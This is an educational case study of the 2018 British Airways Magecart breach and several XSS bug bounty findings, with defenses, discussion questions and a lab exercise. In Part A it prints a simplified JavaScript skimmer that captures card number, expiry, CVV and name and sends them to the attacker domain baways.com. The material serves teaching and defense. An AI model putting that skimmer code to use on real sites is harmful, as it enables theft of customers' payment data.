Case Study 2: British Airways Magecart Attack and Major XSS Bug Bounties

Part A: British Airways --- 380,000 Payment Cards Stolen via Client-Side Attack

Background

In September 2018, British Airways (BA) disclosed that attackers had stolen payment card details from approximately 380,000 customers who made bookings through the BA website and mobile app between August 21 and September 5, 2018. The stolen data included card numbers, expiry dates, CVV codes, and personal details---everything needed to make fraudulent purchases.

The attack was attributed to the Magecart group, a collective of cybercriminal teams specializing in digital skimming attacks. Unlike traditional data breaches that target server-side databases, Magecart attacks inject malicious JavaScript into web pages to capture payment data directly from the user's browser as they type it.

The Attack Mechanism

The BA attack was a masterclass in client-side exploitation:

1. Supply Chain Compromise

The attackers compromised the Modernizr JavaScript library hosted on BA's website. Modernizr is a legitimate feature-detection library used by millions of websites. The attackers modified the version served by BA's servers to include 22 lines of malicious JavaScript.

2. Payment Data Capture

The injected code targeted BA's payment form. When customers entered their payment details, the malicious script:

// Simplified representation of the Magecart script
// (actual code was obfuscated)
window.onload = function() {
    // Wait for the payment form to be present
    var paymentForm = document.querySelector('#paymentForm');

    if (paymentForm) {
        paymentForm.addEventListener('submit', function() {
            // Capture all form field values
            var cardNumber = document.getElementById('cardNumber').value;
            var expiry = document.getElementById('expiry').value;
            var cvv = document.getElementById('cvv').value;
            var name = document.getElementById('cardName').value;

            // Send to attacker's server
            var img = new Image();
            img.src = 'https://baways.com/i/d?' +
                'cn=' + encodeURIComponent(cardNumber) +
                '&ex=' + encodeURIComponent(expiry) +
                '&cv=' + encodeURIComponent(cvv) +
                '&nm=' + encodeURIComponent(name);
        });
    }
};

3. Exfiltration Domain

The attackers registered the domain baways.com---designed to look like a legitimate BA domain (ba + ways). They obtained a valid SSL certificate for this domain, making the exfiltration traffic appear legitimate in network logs.

4. Mobile App Impact

BA's mobile app loaded some pages in an embedded WebView, including the payment page. The same malicious JavaScript executed in the mobile context, capturing mobile users' payment data as well.

Impact

Financial: - GBP 20 million (approximately $26 million) fine from the UK Information Commissioner's Office (ICO) under GDPR. The original proposed fine was GBP 183 million, reduced due to BA's cooperation and the COVID-19 pandemic's impact on the airline industry. - Customer compensation claims resulted in additional millions in payments. - 380,000 payment cards compromised with full details including CVV.

Reputational: - Significant media coverage for weeks - Customer trust damaged during a critical booking period - Scrutiny of BA's parent company IAG's security practices

Technical Analysis: Why This Is a Client-Side Attack

The BA/Magecart attack is fundamentally different from server-side breaches:

The data was never compromised on BA's servers. It was captured in real-time as users typed it into the payment form. Traditional server-side security measures (firewalls, database encryption, access controls) were irrelevant because the attack occurred entirely in the browser.

Defense: What Would Have Prevented This

1. Content Security Policy (CSP) A strict CSP would have blocked the data exfiltration:

Content-Security-Policy: connect-src 'self'; img-src 'self' data:; script-src 'self' 'nonce-xxx';

The connect-src 'self' directive would block the image request to baways.com.

2. Subresource Integrity (SRI) SRI on the Modernizr script would detect tampering:

<script src="/js/modernizr.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K..."
        crossorigin="anonymous"></script>

If the script's hash changed (due to the injected code), the browser would refuse to execute it.

3. Script Integrity Monitoring Real-time monitoring of JavaScript file integrity would detect unauthorized modifications. Solutions like PerimeterX, Jscrambler, or custom integrity checks compare script hashes against known-good values.

4. Third-Party Script Isolation Loading third-party scripts in sandboxed iframes or using the sandbox attribute limits their access to the main page's DOM.

Part B: XSS Bug Bounties --- Google, Facebook, and Uber

The Value of XSS in Bug Bounties

Cross-site scripting is consistently the most reported vulnerability type in bug bounty programs, but its perceived impact varies dramatically. A self-XSS (only exploitable against yourself) might earn $50 or be marked as not applicable, while a stored XSS on a critical page of a major service can earn $10,000 or more.

Google XSS Bounties

Google's Vulnerability Reward Program (VRP) has paid millions for XSS vulnerabilities across its services:

Google Search XSS (2015) --- $3,133.70 Researcher Masato Kinugawa discovered a DOM-based XSS in Google Search that exploited the search results preview feature. When Google rendered a cached page preview, it processed user-controlled content in a context where JavaScript could execute. The payload required chaining multiple steps: crafting a malicious page, getting it indexed by Google, and triggering the preview feature.

Gmail DOM XSS (2018) --- $5,000+ A researcher found that Gmail's email rendering engine processed certain HTML email elements in a way that allowed script execution. The attack required sending a specially crafted email to the victim. When the victim opened the email in Gmail's web interface, the script executed with access to the victim's email session. Google patched this within days due to the critical impact.

Google Cloud Console XSS (2019) --- $6,000+ An XSS vulnerability in Google Cloud Console allowed an attacker to execute JavaScript in the context of a user's GCP session. Given that GCP sessions have access to cloud infrastructure, VMs, databases, and billing information, the potential impact was severe. This demonstrated how XSS impact scales with the sensitivity of the application.

Facebook XSS Bounties

Facebook's bug bounty program has paid for numerous XSS reports:

Facebook Graph API XSS (2013) --- $12,500 Researcher Reginaldo Silva discovered a XXE/XSS chain in Facebook's Graph API. The vulnerability allowed XML external entity injection that could be chained with reflected XSS to steal user access tokens. The complexity of the chain and the impact on OAuth tokens justified the high bounty.

Facebook Messenger XSS (2019) --- Significant bounty A stored XSS in Facebook Messenger allowed an attacker to send a message containing a payload that executed when the recipient opened the conversation. Given Messenger's 1.3+ billion users, the potential for a Samy-style worm was acknowledged in the severity assessment.

Instagram Story XSS (2020) --- $30,000 Researcher Kishore discovered a stored XSS in Instagram Stories that executed when other users viewed the story. The payload persisted for 24 hours (the story's lifetime) and affected every viewer. Facebook paid a premium bounty due to the stored nature and the massive user base exposed.

Uber XSS Bounties

Uber's bug bounty program has documented several instructive XSS findings:

Uber Subdomain Takeover + XSS (2016) --- $5,000 A researcher discovered that an Uber subdomain's DNS record pointed to an unclaimed hosting service. By claiming the hosting account, the researcher could serve arbitrary content on *.uber.com, including XSS payloads that would execute in Uber's origin. This combined subdomain takeover with XSS for cookie theft across Uber's authentication domain.

Uber Partners Portal XSS (2017) --- $7,500 A stored XSS in Uber's driver partner portal allowed an attacker to inject JavaScript into a field displayed in the admin interface. When Uber support staff viewed the driver's profile, the payload executed in their session, potentially granting access to internal tools and other drivers' personal information.

Common Patterns in High-Value XSS Bounties

Analyzing high-value XSS bounties reveals patterns that distinguish a $50 finding from a $50,000 one:

1. Stored > Reflected > Self-XSS Stored XSS consistently earns higher bounties because it affects multiple users without requiring social engineering.

2. Critical Application Context XSS in a payment page, admin interface, or authentication flow is rated higher than XSS in a marketing page or help center.

3. Authentication Impact If XSS can steal session tokens, OAuth tokens, or API keys, the bounty increases significantly.

4. Chain Potential XSS that can be chained with other vulnerabilities (CSRF bypass, privilege escalation, account takeover) earns premium bounties.

5. User Base Exposure XSS on a page viewed by millions of users (homepage, default dashboard) is rated higher than XSS on an obscure admin page.

Combined Lessons

For Attackers (Understanding the Threat)

1. Client-side attacks are evolving. Magecart-style attacks bypass all server-side defenses by operating entirely in the browser. Traditional security monitoring does not detect them.

2. Supply chain compromise amplifies XSS. Compromising a single JavaScript library (Modernizr, jQuery, analytics scripts) can affect every page that loads it across an entire application.

3. XSS impact scales with application sensitivity. The same vulnerability (reflected XSS) might be informational on a blog but critical on a banking application.

For Defenders (Blue Team Perspective)

1. Implement CSP with nonce-based script-src. This is the single most impactful defense against both XSS and Magecart-style attacks.

2. Use Subresource Integrity (SRI) for all external scripts. Any script loaded from a CDN or third-party source should have an integrity hash.

3. Monitor script integrity in production. Detect unauthorized modifications to JavaScript files through hash comparison or integrity monitoring services.

4. Isolate payment forms. Load payment forms in isolated iframes with restrictive CSP. Consider using payment tokenization services (Stripe Elements, Braintree) that host the payment form on their own domain.

5. Minimize third-party JavaScript. Every external script is an attack surface. Audit, minimize, and monitor all third-party JavaScript dependencies.

Discussion Questions

1. How does the Magecart attack model change the threat landscape for e-commerce applications like ShopStack?
2. Why was BA's GDPR fine reduced from GBP 183 million to GBP 20 million? Is the reduced amount sufficient as a deterrent?
3. How should penetration testers evaluate the risk of XSS differently based on the application context?
4. What is the role of payment service providers (Stripe, PayPal) in reducing Magecart risk?
5. Should bug bounty programs pay more for XSS vulnerabilities given the demonstrated real-world impact (Magecart)?

Practical Exercise

1. Examine ShopStack's checkout page (conceptual or in your lab environment).
2. Identify all third-party JavaScript loaded on the page.
3. Check if SRI is implemented for each external script.
4. Analyze the CSP header for gaps that would allow Magecart-style data exfiltration.
5. Design a comprehensive defense plan for ShopStack's payment flow that addresses Magecart risks.